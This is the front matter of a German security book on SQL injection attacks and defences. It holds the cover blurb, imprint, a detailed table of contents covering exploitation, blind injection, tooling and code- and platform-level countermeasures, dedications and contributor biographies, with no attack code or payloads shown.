Aus dem Inhalt: SQL - franzis.de · Systeme vor solchen Attacken. Um das zu tun, müs-sen Sie die Angriffe verstehen, die Tools der Hacker kennen und geeignete Gegenmaßnahmen ergreifen

Justin Clarke

HackingSQL

Justin Clarke

40,– EUR [D] / 41,20 EUR [A]ISBN 978-3-645-60466-6

Clarke

SQL-

Hac

king

Besuchen Sie unsere Website www.franzis.de

Heutzutage gibt es eigentlich keine Geschäftsan-wendung ohne dahinterliegende Datenbank. Darinbefinden sich sensible Daten, angefangen bei personen-bezogenen Daten bis zu Geschäftsgeheimnissen. EineOffenlegung der Daten kann weitreichende Folgenhaben. Darum sind Datenbanken häufig Angriffenvon Hackern ausgesetzt. Diese versuchen über SQL-Injektion in die Systeme einzudringen und Datenauszulesen. Werden Sie aktiv und schützen Sie IhreSysteme vor solchen Attacken. Um das zu tun, müs-sen Sie die Angriffe verstehen, die Tools der Hackerkennen und geeignete Gegenmaßnahmen ergreifen.Schauen Sie hinter die Kulissen und verstehen Sie imDetail, wie SQL-Injektion funktioniert und was Siedagegen tun können.

SQLHacking

• Anfälligkeit für SQL-Injektion erkennen, ausnutzen und Schäden beseitigen • Angriffe auf Datenbanken detailliert im Quellcode nachvollziehen• Tools kennen und nutzen: Automatisierte Quellcodeprüfung, Automatisierung der blinden SQL-Injektion und mehr

SQL-Injektion auf relationale Datenbanken im Detail verstehen und abwehren.

Nutzbar für alle SQL-Daten-banken. Spezial-wissen zu Oracle, MS SQL Server,

MySQL und PostgreSQL.

Aus dem Inhalt:• Anfälligkeiten für SQL-Injektion finden

• Inline-SQL-Injection und Blinde Injektion

• Werkzeuge zum automatischen Aufspüren von Schwachstellen

• PL/SQL- und T-SQL-Code überprüfen• Automatisierte Quellcodeprüfungmit Graudit, YASCA, Pixy, AppCodeScan und mehr

• Exploit-Techniken• Passworthashes stehlen• SQL-Injektion auf Mobilgeräten• SQL-Injektionsangriffe und BlindeSQL-Injektion automatisieren

• Abfragen mit Nebenwirkungen einschleusen

• Dateneinschleusung über DNS, E-Mail, HTTP und ICMP

• Das Betriebssystem angreifen• SQL-Injektion zweiter Ordnung• Clientseitige SQL-Injektion• Schutzmaßnahmen auf Code- undPlattformebene

• Cross-Site Scripting• NoSQL-Injektion verhindern

SQL-Injektion im Detail verstehen und vom Quellcode lernenViele Menschen, die behaupten, sie wüssten, wasSQL-Injektion sei, haben in Wirklichkeit nur einigetriviale Beispiele kennengelernt. SQL-Injektion isteine der verheerendsten Angriffstechniken, dieein Unternehmen treffen können. Sie kann zur Of-fenlegung der sensiblen Informationen führen, diein den Datenbanken einer Anwendung gespei-chert sind, darunter so brauchbare Informationenwie Benutzernamen, Passwörter, Namen, Adressen,Telefonnummern und Kreditkartenangaben.Erst wenn man reale Angriffe gesehen hat, kann

Übersichtliche Diagramme erläutern Architekturen und Konzepte.

man daraus lernen und für das nächste Mal vorbe-reitet sein. Deswegen zeigen Ihnen die Autoren dieeinzelnen Schwachstellen anhand von sehr vielQuellcode und erläutern diesen im Detail. Sie lernenviele Werkzeuge kennen, die Hacker einsetzen, um Schwachstellen aufzudecken. Welche Schutz-maßnahmen Sie auf Code- und Plattformebene ergreifen können, lesen Sie in zwei großen Kapi-teln. Eine ausführliche Referenz versorgt Sie mitviel Material für die tägliche Praxis, wie z. B. einerSchnellreferenz zu SQL-Injektion oder einem Überblick zur Fehlerbehebungbei SQL-Injektionsangriffen.

Neben Diagrammen werden auch zahlreiche Screenshots zur Erläuterung genutzt.

60466-6 U1+U4_SC 05.04.16 10:46 Seite 1

Justin Clarke

SQL-Hacking

60466-6 Titelei_X 05.04.16 10:47 Seite 1

• Anfälligkeit für SQL-Injektion erkennen, ausnutzen und Schäden beseitigen • Angriffe auf Datenbanken detailliert im Quellcode nachvollziehen• Tools kennen und nutzen: Automatisierte Quellcodeprüfung, Automatisierung der blinden SQL-Injektion und mehr

Justin Clarke

HackingSQLSQL-Injektion auf relationale Datenbanken im Detail verstehen und abwehren.

60466-6 Titelei_X 05.04.16 10:47 Seite 3

Bibliografische Information der Deutschen Bibliothek

Die Deutsche Bibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie;detaillierte Daten sind im Internet über http://dnb.ddb.de abrufbar.

Alle Angaben in diesem Buch wurden vom Autor mit größter Sorgfalt erarbeitet bzw. zusammengestellt und unterEinschaltung wirksamer Kontrollmaßnahmen reproduziert. Trotzdem sind Fehler nicht ganz auszuschließen. DerVerlag und der Autor sehen sich deshalb gezwungen, darauf hinzuweisen, dass sie weder eine Garantie noch diejuristische Verantwortung oder irgendeine Haftung für Folgen, die auf fehlerhafte Angaben zurückgehen, über-nehmen können. Für die Mitteilung etwaiger Fehler sind Verlag und Autor jederzeit dankbar. Internetadressenoder Versionsnummern stellen den bei Redaktionsschluss verfügbaren Informationsstand dar. Verlag und Autorübernehmen keinerlei Verantwortung oder Haftung für Veränderungen, die sich aus nicht von ihnen zu vertreten-den Umständen ergeben. Evtl. beigefügte oder zum Download angebotene Dateien und Informationen dienen aus-schließlich der nicht gewerblichen Nutzung. Eine gewerbliche Nutzung ist nur mit Zustimmung des Lizenzinha-bers möglich.

This edition of SQL Injections Attacks and Defense by Justin Clarke is published by arrangement with ELSEVIER INC.,a Delaware corporation having its principal place of business at 360 Park Avenue South, New York, NY 10010, USA

ISBN der englischen Originalausgabe: 978-1597499637

© 2016 Franzis Verlag GmbH, 85540 Haar bei München

Alle Rechte vorbehalten, auch die der fotomechanischen Wiedergabe und der Speicherung in elektronischen Me-dien. Das Erstellen und Verbreiten von Kopien auf Papier, auf Datenträgern oder im Internet, insbesondere als PDF,ist nur mit ausdrücklicher Genehmigung des Verlags gestattet und wird widrigenfalls strafrechtlich verfolgt.

Die meisten Produktbezeichnungen von Hard- und Software sowie Firmennamen und Firmenlogos, die in diesemWerk genannt werden, sind in der Regel gleichzeitig auch eingetragene Warenzeichen und sollten als solche betrachtet werden. Der Verlag folgt bei den Produktbezeichnungen im Wesentlichen den Schreibweisen der Hersteller.

Autor: Justin ClarkeProgrammleitung: Dr. Markus StäubleSatz und Übersetzung: G&U Language & Publishing Services GmbHart & design: www.ideehoch2.deDruck: C.H. Beck, NördlingenPrinted in Germany

ISBN 978-3-645-60466-6

60466-6 Titelei_X 05.04.16 10:47 Seite 4

5

Inhaltsverzeichnis

Danksagung ..............................................................................................21

Die Autoren der Beiträge ......................................................................... 23

Chefautor und Fachgutachter ................................................................... 26

1. Was ist SQL-Injection? ........................................................................ 27

1.1 Einführung ..................................................................................................... 27

1.2 Wie funktionieren Webanwendungen? ........................................................... 28

1.2.1 Eine einfache Anwendungsarchitektur ........................................................... 30

1.2.2 Eine kompliziertere Architektur .......................................................................31

1.3 Wie funktioniert SQL-Injection? ..................................................................... 32

1.3.1 Aufsehenerregende Beispiele ........................................................................ 36

1.4 Wie kann das passieren? ................................................................................ 40

1.4.1 Dynamische Stringerstellung ......................................................................... 40

1.4.2 Falsche Behandlung von numerischen Typen ................................................. 43

1.4.3 Falsche Behandlung von Mehrfachübertragungen ......................................... 48

1.4.4 Unsichere Datenbankkonfiguration ............................................................... 50

1.5 Zusammenfassung ......................................................................................... 52

1.6 Schneller Überblick ........................................................................................ 53

1.6.1 Wie funktionieren Webanwendungen? ........................................................... 53

1.6.2 Wie funktioniert SQL-Injection? ..................................................................... 53

1.6.3 Wie kann das passieren? ................................................................................ 54

1.7 Häufig gestellte Fragen .................................................................................. 54

6 Inhaltsverzeichnis

2. Anwendungen auf Anfälligkeit für SQL-Injection prüfen ..................... 57

2.1 Einführung ..................................................................................................... 57

2.2 Anfälligkeiten für SQL-Injection finden ........................................................... 58

2.2.1 Deduktives Testen .......................................................................................... 59

2.2.2 Datenbankfehler ............................................................................................ 69

2.2.3 Antworten der Anwendung ............................................................................ 84

2.2.4 Blinde Injektion .............................................................................................. 90

2.3 Das Vorhandensein von Schwachstellen bestätigen ...................................... 95

2.3.1 Zahlen und Strings unterscheiden ................................................................. 95

2.3.2 Inline-SQL-Injection ....................................................................................... 96

2.3.3 Die SQL-Injection abschließen ......................................................................105

2.3.4 Zeitverzögerungen ........................................................................................ 116

2.4 Das Aufspüren von Schwachstellen automatisieren ...................................... 118

2.4.1 Werkzeuge zum automatischen Aufspüren von Schwachstellen ................... 119

2.5 Zusammenfassung ........................................................................................129

2.6 Schneller Überblick .......................................................................................130

2.6.1 Anfälligkeiten für SQL-Injection finden ..........................................................130

2.6.2 Das Vorhandensein von Schwachstellen bestätigen ..................................... 131

2.6.3 Das Aufspüren von Schwachstellen automatisieren ...................................... 131

2.7 Häufig gestellte Fragen .................................................................................132

3. Quellcode untersuchen .....................................................................135

3.1 Einführung ....................................................................................................135

3.2 Quellcode auf Anfälligkeiten für SQL-Injection untersuchen .........................136

3.2.1 Gefährliche Programmiertechniken ...............................................................138

3.2.2 Gefährliche Funktionen .................................................................................146

3.2.3 Daten verfolgen ............................................................................................150

3.2.4 Code von Android-Anwendungen untersuchen .............................................159

3.2.5 PL/SQL- und T-SQL-Code überprüfen ............................................................166

7Inhaltsverzeichnis

3.3 Automatisierte Quellcodeprüfung .................................................................173

3.3.1 Graudit ..........................................................................................................175

3.3.2 Yet Another Source Code Analyzer (YASCA) ..................................................176

3.3.3 Pixy ...............................................................................................................176

3.3.4 AppCodeScan ...............................................................................................177

3.3.5 OWASP LAPSE+ .............................................................................................178

3.3.6 Microsoft Source Code Analyzer for SQL Injection .........................................179

3.3.7 Microsoft Code Analysis Tool .NET (CAT.NET) ................................................179

3.3.8 RIPS – Statischer Quellcodeanalysator für Schwachstellen in PHP-Skripten .180

3.3.9 CodePro AnalytiX ..........................................................................................180

3.3.10 Teachable Static Analysis Workbench ........................................................... 181

3.3.11 Kommerzielle Tools zur Quellcodeuntersuchung ........................................... 181

3.3.12 Fortify ...........................................................................................................182

3.3.13 Rational AppScan Source Edition ..................................................................184

3.3.14 CodeSecure...................................................................................................184

3.3.15 Klocwork Solo ...............................................................................................185

3.4 Zusammenfassung ........................................................................................185


3.5.1 Quellcode auf Anfälligkeiten für SQL-Injection untersuchen .........................186

3.5.2 Automatisierte Quellcodeprüfung .................................................................187


4. Anfälligkeiten für SQL-Injection ausnutzen ....................................... 191

4.1 Einführung .................................................................................................... 191

4.2 Gebräuchliche Exploit-Techniken ..................................................................193

4.2.1 Stapelabfragen .............................................................................................195

4.3 Das Datenbanksystem ermitteln ...................................................................196

4.3.1 Identifizierung mit Rückmeldungen ..............................................................197

4.3.2 Blinde Identifizierung ................................................................................... 202


4.4 Daten mithilfe von UNION-Anweisungen abrufen ........................................ 204

4.4.1 Übereinstimmende Spalten ......................................................................... 205

4.4.2 Übereinstimmende Datentypen ................................................................... 208

4.5 Bedingte Anweisungen .................................................................................213

4.5.1 Variante 1: Zeitgestützte Vorgehensweise .....................................................214

4.5.2 Variante 2: Fehlergestützte Vorgehensweise .................................................219

4.5.3 Variante 3: Inhaltsgestützte Vorgehensweise................................................221

4.5.4 Strings ......................................................................................................... 222

4.5.5 Die Technik erweitern ................................................................................... 224

4.5.6 Fehlermeldungen zur SQL-Injection nutzen .................................................. 225

4.5.7 Fehlermeldungen in Oracle .......................................................................... 228

4.6 Das Datenbankschema auflisten .................................................................. 232

4.6.1 SQL Server ................................................................................................... 233

4.6.2 MySQL.......................................................................................................... 238

4.6.3 PostgreSQL .................................................................................................. 243

4.6.4 Oracle .......................................................................................................... 244

4.7 Injektion in INSERT-Abfragen ....................................................................... 248

4.7.1 Szenario 1: Vom Benutzer ausgewählte Daten einfügen ............................... 249

4.7.2 Szenario 2: INSERT-Fehler auslösen ............................................................ 252

4.7.3 Weitere Szenarien ........................................................................................ 255

4.8 Rechte erhöhen ............................................................................................ 255

4.8.1 SQL Server ................................................................................................... 256

4.8.2 Oracle .......................................................................................................... 263

4.8.3 Das Erfordernis für CREATE PROCEDURE überwinden .................................. 266

4.9 Passworthashes stehlen .............................................................................. 268

4.9.1 SQL Server ................................................................................................... 268

4.9.2 MySQL.......................................................................................................... 270

4.9.3 PostgreSQL ...................................................................................................271

4.9.4 Oracle .......................................................................................................... 272

4.10 Out-of-band-Kommunikation ....................................................................... 276

9Inhaltsverzeichnis

4.10.1 E-Mail ........................................................................................................... 277

4.10.2 HTTP/DNS .....................................................................................................281

4.10.3 Dateisystem ................................................................................................. 282

4.11 SQL-Injection auf Mobilgeräten ................................................................... 286

4.12 SQL-Injektionsangriffe automatisieren..........................................................291

4.12.1 Sqlmap .........................................................................................................291

4.12.2 Bobcat ......................................................................................................... 293

4.12.3 BSQL ............................................................................................................ 294

4.12.4 Weitere Programme ..................................................................................... 296

4.13 Zusammenfassung ....................................................................................... 297

4.14 Schneller Überblick ...................................................................................... 298

4.14.1 Gebräuchliche Exploit-Techniken ................................................................. 298

4.14.2 Das Datenbanksystem ermitteln .................................................................. 299

4.14.3 Daten mithilfe von UNION-Anweisungen abrufen ........................................ 299

4.14.4 Bedingte Anweisungen ................................................................................ 299

4.14.5 Das Datenbankschema auflisten .................................................................. 300

4.14.6 Injektion in INSERT-Abfragen ....................................................................... 300

4.14.7 Rechte erhöhen ............................................................................................ 300

4.14.8 Passworthashes stehlen ...............................................................................301

4.14.9 Out-of-band-Kommunikation ........................................................................301

4.14.10 SQL-Injection auf Mobilgeräten ....................................................................301

4.14.11 SQL-Injektionsangriffe automatisieren..........................................................301

4.15 Häufig gestellte Fragen ................................................................................ 302

5. Blinde SQL-Injection ......................................................................... 303

5.1 Einführung ................................................................................................... 303

5.2 Anfälligkeiten für blinde SQL-Injection finden und bestätigen ..................... 305

5.2.1 Allgemeine Fehlermeldungen provozieren ................................................... 305

5.2.2 Abfragen mit Nebenwirkungen einschleusen ............................................... 306


5.2.3 Aufteilen und Ausgleichen ........................................................................... 306

5.2.4 Häufige Situationen bei der blinden SQL-Injektion ...................................... 309

5.2.5 Techniken zur blinden SQL-Injektion .............................................................310

5.3 Zeitgestützte Techniken ............................................................................... 322

5.3.1 Datenbankabfragen verzögern ..................................................................... 323

5.3.2 Überlegungen zur zeitgestützten Deduktion ................................................ 334

5.4 Antwortgestützte Techniken......................................................................... 334

5.4.1 Antworttechniken in MySQL ......................................................................... 335

5.4.2 Antworttechniken in PostgreSQL ................................................................. 337

5.4.3 Antworttechniken in SQL Server .................................................................. 338

5.4.4 Antworttechniken in Oracle ...........................................................................341

5.4.5 Mehr als ein Bit an Informationen abrufen ................................................... 342

5.5 Alternative Kanäle ........................................................................................ 345

5.5.1 Datenbankverbindungen ............................................................................. 346

5.5.2 Datenschleusung über DNS ......................................................................... 348

5.5.3 Datenschleusung per E-Mail ........................................................................ 353

5.5.4 Datenschleusung über HTTP ........................................................................ 354

5.5.5 Datenschleusung durch ICMP ...................................................................... 357

5.6 Automatisieren der blinden SQL-Injektion ................................................... 357

5.6.1 Absinthe ...................................................................................................... 357

5.6.2 BSQL Hacker ................................................................................................ 359

5.6.3 SQLBrute ..................................................................................................... 362

5.6.4 Sqlmap ........................................................................................................ 364

5.6.5 Sqlninja ........................................................................................................ 366

5.6.6 Squeeza ....................................................................................................... 368



5.8.1 Anfälligkeiten für blinde SQL-Injection finden und bestätigen ..................... 370

5.8.2 Zeitgestützte Techniken ................................................................................371

5.8.3 Antwortgestützte Techniken..........................................................................371

11Inhaltsverzeichnis

5.8.4 Alternative Kanäle .........................................................................................371

5.8.5 Automatisieren der blinden SQL-Injektion ................................................... 372


6. Das Betriebssystem angreifen ...........................................................375

6.1 Einführung ................................................................................................... 375

6.2 Zugriff auf das Dateisystem ......................................................................... 377

6.2.1 Dateien lesen ............................................................................................... 377

6.2.2 Dateien schreiben ........................................................................................ 395

6.3 Befehle des Betriebssystems ausführen ...................................................... 407

6.3.1 MySQL.......................................................................................................... 408

6.3.2 Microsoft SQL Server ................................................................................... 409

6.3.3 Oracle ...........................................................................................................412

6.3.4 PostgreSQL ...................................................................................................421

6.4 Den Zugriff sichern ....................................................................................... 423



6.6.1 Zugriff auf das Dateisystem ......................................................................... 426

6.6.2 Befehle des Betriebssystems ausführen ...................................................... 427

6.6.3 Den Zugriff sichern ....................................................................................... 427

6.7 Quellen ........................................................................................................ 428


7. Themen für Fortgeschrittene .............................................................431

7.1 Einführung ....................................................................................................431

7.2 Eingabefilter umgehen ................................................................................. 432

7.2.1 Groß- und Kleinschreibung .......................................................................... 432

7.2.2 SQL-Kommentare ......................................................................................... 433


7.2.3 URL-Codierung ............................................................................................. 434

7.2.4 Dynamische Ausführung von Abfragen ........................................................ 437

7.2.5 NULL-Bytes .................................................................................................. 438

7.2.6 Verschachtelung von Ausdrücken, die entfernt werden................................ 439

7.2.7 Abschneiden von Zeichen ausnutzen ........................................................... 439

7.2.8 Anwendungseigene Filter umgehen ............................................................. 442

7.2.9 Nicht standardmäßige Eintrittspunkte ......................................................... 443

7.3 SQL-Injection zweiter Ordnung .................................................................... 445

7.3.1 Anfälligkeiten für SQL-Injection zweiter Ordnung finden .............................. 448

7.4 Clientseitige SQL-Injektion ............................................................................451

7.4.1 Zugriff auf lokale Datenbanken .....................................................................451

7.4.2 Clientseitige Datenbanken angreifen ........................................................... 452

7.5 Kombinierte Angriffe .................................................................................... 454

7.5.1 Erbeutete Daten nutzen ............................................................................... 454

7.5.2 Cross-Site Scripting ..................................................................................... 455

7.5.3 Betriebssystembefehle in Oracle ausführen ................................................. 456

7.5.4 Schwachstellen in Bereichen für authentifizierte Benutzer ausnutzen ......... 456



7.7.1 Eingabefilter umgehen ................................................................................. 459

7.7.2 SQL-Injection zweiter Ordnung .................................................................... 459

7.7.3 Clientseitige SQL-Injektion ........................................................................... 460

7.7.4 Kombinierte Angriffe .................................................................................... 460


8. Schutzmaßnahmen auf Codeebene .................................................. 463

8.1 Einführung ................................................................................................... 463

8.2 Domain-Driven Security ............................................................................... 464

8.3 Parametrisierte Anweisungen ...................................................................... 470


8.3.1 Parametrisierte Anweisungen in Java ............................................................471

8.3.2 Parametrisierte Anweisungen in .NET (C#) ................................................... 473

8.3.3 Parametrisierte Anweisungen in PHP ........................................................... 475

8.3.4 Parametrisierte Anweisungen in PL/SQL ...................................................... 476

8.3.5 Parametrisierte Anweisungen in Mobilanwendungen .................................. 477

8.3.6 Parametrisierte Anweisungen in HTML5 ....................................................... 478

8.4 Eingaben validieren ..................................................................................... 479

8.4.1 Whitelists ..................................................................................................... 479

8.4.2 Blacklists ..................................................................................................... 484

8.4.3 Eingabevalidierung in Java ........................................................................... 485

8.4.4 Eingabevalidierung in .NET .......................................................................... 486

8.4.5 Eingabevalidierung in PHP ........................................................................... 487

8.4.6 Eingabevalidierung in Mobilanwendungen .................................................. 488

8.4.7 Eingabevalidierung in HTML5 ....................................................................... 488

8.5 Ausgaben codieren ...................................................................................... 488

8.5.1 Codierung bei der Übermittlung an die Datenbank ...................................... 489

8.5.2 NoSQL-Injection verhindern ......................................................................... 498

8.6 Kanonisierung .............................................................................................. 499

8.6.1 Vorgehensweisen zur Kanonisierung ........................................................... 500

8.7 Designtechniken zur Vermeidung der Gefahren von SQL-Injektion............... 502

8.7.1 Gespeicherte Prozeduren verwenden ........................................................... 502

8.7.2 Abstraktionsschichten verwenden ............................................................... 504

8.7.3 Umgang mit sensiblen Daten ....................................................................... 505

8.7.4 Offensichtliche Objektnamen vermeiden ..................................................... 506

8.7.5 Datenbank-Honeypots einrichten ................................................................ 507

8.7.6 Weitere Quellen zur sicheren Entwicklung ................................................... 508



8.9.1 Domain-Driven Security ................................................................................510

8.9.2 Parametrisierte Anweisungen .......................................................................510


8.9.3 Eingaben validieren ......................................................................................510

8.9.4 Ausgaben codieren ....................................................................................... 511

8.9.5 Kanonisierung ............................................................................................... 511

8.9.6 Designtechniken zur Vermeidung der Gefahren von SQL-Injektion................ 511


9. Schutzmaßnahmen auf Plattformebene ............................................515

9.1 Einführung ....................................................................................................515

9.2 Laufzeitschutz ...............................................................................................516

9.2.1 Firewalls von Webanwendungen ...................................................................517

9.2.2 Abfangfilter .................................................................................................. 524

9.2.3 Bearbeitbare und nicht bearbeitbare Eingaben ............................................ 530

9.2.4 Strategien auf URL- und Seitenebene ...........................................................531

9.2.5 Aspektorientierte Programmierung (AOP) .................................................... 532

9.2.6 Intrusion-Detection-Systeme (IDS) .............................................................. 533

9.2.7 Datenbankfirewall ........................................................................................ 533

9.3 Die Datenbank absichern ............................................................................. 534

9.3.1 Den Zugriff auf die Anwendungsdaten einschränken ................................... 534

9.3.2 Den Zugriff auf den Datenbankserver einschränken .................................... 540

9.4 Weitere Überlegungen zur Bereitstellung .................................................... 543

9.4.1 Unnötige Informationen unterdrücken ......................................................... 543

9.4.2 Ausführlichere Webserverprotokolle ............................................................ 549

9.4.3 Den Web- und den Datenbankserver auf getrennten Computern unterbringen ................................................................................................ 549

9.4.4 Netzwerkzugriffssteuerung einrichten ......................................................... 550



9.6.1 Laufzeitschutz ...............................................................................................551

9.6.2 Die Datenbank absichern ..............................................................................551


9.6.3 Weitere Überlegungen zur Bereitstellung .....................................................551


10. SQL-Injektionsangriffe erkennen und sich von den Auswirkungen erholen ............................................................................................. 555

10.1 Einführung ................................................................................................... 555

10.2 Einen vermuteten SQL-Injektionsangriff untersuchen .................................. 556

10.2.1 Sinnvolle Ermittlungspraktiken .................................................................... 556

10.2.2 Digitale Artefakte analysieren ...................................................................... 559

10.3 Was tun nach einem Angriff? ........................................................................ 588

10.3.1 Die Auswirkungen eindämmen .................................................................... 588

10.3.2 Die betroffenen Daten ermitteln ................................................................... 589

10.3.3 Zuständige Personen informieren ................................................................ 590

10.3.4 Die Aktionen des Angreifers auf dem System ermitteln .................................591

10.3.5 Erholung von einem SQL-Injektionsangriff ................................................... 593



10.5.1 Einen vermuteten SQL-Injektionsangriff untersuchen .................................. 599

10.5.2 Sinnvolle Ermittlungspraktiken .................................................................... 599

10.5.3 Digitale Artefakte analysieren ...................................................................... 600

10.5.4 Durch SQL-Injektionsangriffe verursachte Aktivitäten erkennen .................. 600

10.5.5 Das Vorliegen eines erfolgreichen Angriffs bestätigen ..................................601

10.5.6 Die Auswirkungen eindämmen .....................................................................601

10.5.7 Die betroffenen Daten ermitteln ....................................................................601

10.5.8 Zuständige Personen informieren .................................................................601

10.5.9 Die Aktionen des Angreifers auf dem System ermitteln .................................601

10.5.10 Die Payload eines Angriffs bestimmen ......................................................... 602

10.5.11 Erholung von einem SQL-Injektionsangriff ................................................... 602



11. Referenz ........................................................................................... 605

11.1 Einführung ................................................................................................... 605

11.2 Grundlagen von SQL .................................................................................... 606

11.2.1 SQL-Abfragen ............................................................................................... 606

11.2.2 Die Menge der Ergebnisse einschränken ......................................................612

11.3 Schnellreferenz zur SQL-Injection .................................................................613

11.3.1 Anfälligkeiten für SQL-Injection aufspüren ....................................................614

11.3.2 Die Datenbankplattform ermitteln ................................................................618

11.3.3 Spickzettel für Microsoft SQL Server ............................................................ 622

11.3.4 Spickzettel für MySQL .................................................................................. 632

11.3.5 Spickzettel für Oracle ................................................................................... 636

11.3.6 Spickzettel für PostgreSQL ........................................................................... 642

11.4 Filter zur Eingabevalidierung umgehen ........................................................ 645

11.4.1 Filter für Anführungszeichen ........................................................................ 645

11.4.2 HTTP-Codierung ........................................................................................... 647

11.5 Fehlerbehebung bei SQL-Injektionsangriffen ............................................... 648

11.6 SQL-Injection auf anderen Plattformen .........................................................651

11.6.1 Spickzettel für DB2 .......................................................................................651

11.6.2 Spickzettel für # ........................................................................................... 652

11.6.3 Spickzettel für Ingres ................................................................................... 654

11.6.4 Spickzettel für Sybase .................................................................................. 655

11.6.5 Microsoft Access .......................................................................................... 657

11.7 Literatur ....................................................................................................... 657

11.7.1 Whitepaper zur SQL-Injection ...................................................................... 657

11.7.2 Spickzettel zur SQL-Injection ....................................................................... 657

11.7.3 SQL-Injektionswerkzeuge ............................................................................ 658

11.7.4 Passwortknacker ......................................................................................... 659


11.8.1 Grundlagen von SQL .................................................................................... 659


11.8.2 Schnellreferenz zur SQL-Injection ................................................................ 660

11.8.3 Filter zur Eingabevalidierung umgehen ........................................................ 660

11.8.4 Fehlerbehebung bei SQL-Injektionsangriffen ............................................... 660

11.8.5 SQL-Injection auf anderen Plattformen .........................................................661

Stichwortverzeichnis ............................................................................. 663

Justin möchte dieses Buch seiner Tochter Adena widmen, weil sie ihm ständig eine große Freude ist.

Dave möchte seiner wunderschönen Frau Nicole und seiner Tochter Rose, die ihn bei all seinen Unternehmungen unterstützen und inspirieren, seinen von Herzen kommenden Dank aussprechen.

Sumit »sid« Siddharth möchte seiner schönen Frau Supriya und seiner hinreißenden Tochter Shriya für ihre Unterstützung danken. Außerdem möchte er den Penetrationstestern bei 7Safe dafür danken, dass sie es mit ihm aushalten.

Alberto möchte allen Hackern auf der Welt danken, die den in diesem Buch beschriebenen Stoff erforscht und die erwähnten Tools geschrieben haben. Außerdem möchte er es der Franziskaner Weissbier-Brauerei in München widmen, ohne die sein Beitrag nicht möglich gewesen wäre.

21

Danksagung

Justin möchte der Redaktion von Syngress (und insbesondere Chris Katsoropoulous und Heather Scherer) dafür danken, dass sie erneut bereit war, ein Buch anzunehmen, an dem eine (für die Verlagsbranche) absurde Anzahl von Autoren beteiligt war. In seiner Rolle als leitender Katzenhüter möchte er auch den Mitgliedern seines Autorenteams dafür danken, dass sie alle an einem Strang gezogen haben, um das Projekt auf die Beine zu stellen.

23

Die Autoren der Beiträge

Rodrigo Marcos Alvarez (CREST-Berater, MSc, BSc, CISSP, CNNA, OPST, MCP) ist technischer Direktor von SECFORCE, einer führenden Beratungsfirma für Penetrationstests. Neben der Führung seines technischen Teams hat Rodrigo Spaß daran, sich selbst an Sicherheitsüberprü-fungen zu beteiligen und sich die Hände schmutzig zu machen, indem er Tools schreibt und an interessanten neuen Hackingtechniken arbeitet.

Rodrigo ist Mitarbeiter des OWASP-Projekts und Sicherheitsforscher. Sein besonderes Interesse gilt der Netzwerkprotokollanalyse durch Fuzzing-Tests. Neben anderen Projekten hat er TAOF, einen protokollunabhängigen GUI-Fuzzer, und Proxyfuzz veröffentlicht, einen TCP/UDP-Proxy, der Netzwerkdatenverkehr im laufenden Verkehr einem Fuzzing-Test unterzieht. Weitere seiner Beiträge zum Gebiet der Websicherheit sind Bsishell, eine interaktive Python-Shell zur blinden SQL-Injektion, und die Entwicklung eines TCP-Sockets unter Wiederverwendung von Angriffstechniken.

Kevvie Fowler (GCFA Gold, CISSP, MCTS, MCDBA, MCSD, MCSE) leitet die TELUS Security Intelligence Analysis, wo er anspruchsvolle Ereignisanalyse und vorausschauende Aufklärung bietet, um Kunden vor aktuellen und neu aufkommenden Gefahren zu schützen.

Darüber hinaus ist er Gründer und Hauptberater von Ringzero, einer Firma für Sicherheits-forschung und Forensik. Der Schwerpunkt seiner aktuellen Forschungen liegt auf Datenbank-forensik, Rootkits und Mängeln in der nativen Verschlüsselung. Seine Ergebnisse stellt er auf Branchenkonferenzen wie Black Hat, SecTor und OWASP AppSec Asia vor.

Kevvie ist Autor von SQL Server Forensic Analysis und hat an weiteren Büchern über Informati-onssicherheit und Forensik mitgewirkt. Als anerkannter SANS-Forensikexperte und Mitglied des GIAC-Beratungsausschusses ist er daran beteiligt, die Richtung neuer Sicherheits- und Forensikforschungen zu bestimmen. Kevvie dient als vertrauenswürdiger Berater für Kunden aus dem öffentlichen und dem privaten Sektor. Seine Rolle als Vordenker wurde schon in In-formation Security Magazine, Dark Reading und Kaspersky Threatpost herausgestellt.

Dave Hartley ist leitender Sicherheitsberater von MWR InfoSecurity und zertifizierter CHECK- und CREST-Berater (Anwendung und Infrastruktur). Die Firma MWR InfoSecurity unter-stützt ihre Kunden dabei, Risiken für die Informationssicherheit zu erkennen, handzuhaben und abzuschwächen.

Dave hat schon viele unterschiedliche Sicherheitsüberprüfungen durchgeführt und bietet eine Unzahl von Beratungsdienstleistungen für Kunden aus verschiedensten Bereichen, darunter Finanzinstitute, Unternehmen aus den Branchen Unterhaltung, Medien, Telekommunikation und Softwareentwicklung sowie Behörden aus aller Welt.

24 Die Autoren der Beiträge

Des Weiteren ist Dave Mitglied der Beratungsgremien für CREST-Gutachter und NBISE, wo er Untersuchungen beaufsichtigt und gemeinsam mit anderen neue CREST-Untersuchungs-module entwickelt. CREST ist eine an Standards orientierte Organisation für Anbieter von Pe-netrationstests, die ein technisches Best-Practices-Zertifizierungsprogramm für Berater durch-führt. Außerdem war Dave daran beteiligt, zusammen mit NBISE einen für die USA ausgelegten Untersuchungsprozess zu entwickeln.

Dave arbeitet seit 1998 in der IT-Branche und hat Erfahrungen auf verschiedenen Gebieten der IT-Sicherheit gesammelt. Er ist als Autor tätig und leistet regelmäßig Beiträge zu vielen Magazi-nen über Informationssicherheit. Außerdem hat er das SQL-Injektionstool Bobcat geschrieben.

Alexander Kornbrust ist Gründer des Unternehmens Red-Database- Security, das sich auf Da-tenbanksicherheit spezialisiert hat. Er bietet Audits zur Datenbanksicherheit, Sicherheitsschulung und Beratung für Kunden in aller Welt an. Des Weiteren war er an der Gestaltung und Ent-wicklung von McAfee Security Scanner for Databases beteiligt, dem führenden Werkzeug für Datenbanksicherheit. Mit Oracle-Produkten arbeitet er seit 1992. Seine Spezialgebiete sind die Sicherheit von Oracle-Datenbanken und Architekturen. Er hat mehr als 1200 Sicherheitsmängel in Oracle gemeldet und hat an der Universität Passau seinen Abschluss als Diplom-Informatiker gemacht.

Erlend Oftedal arbeitet als Berater bei der Bekk Consulting AS in Oslo, wo er schon seit einigen Jahren die Sicherheitskompetenzgruppe leitet. Seine Zeit verbringt er als Sicherheitsberater und Entwickler für die Kunden von Bekk. Außerdem führt er Codeüberprüfungen und Sicherheits-tests durch.

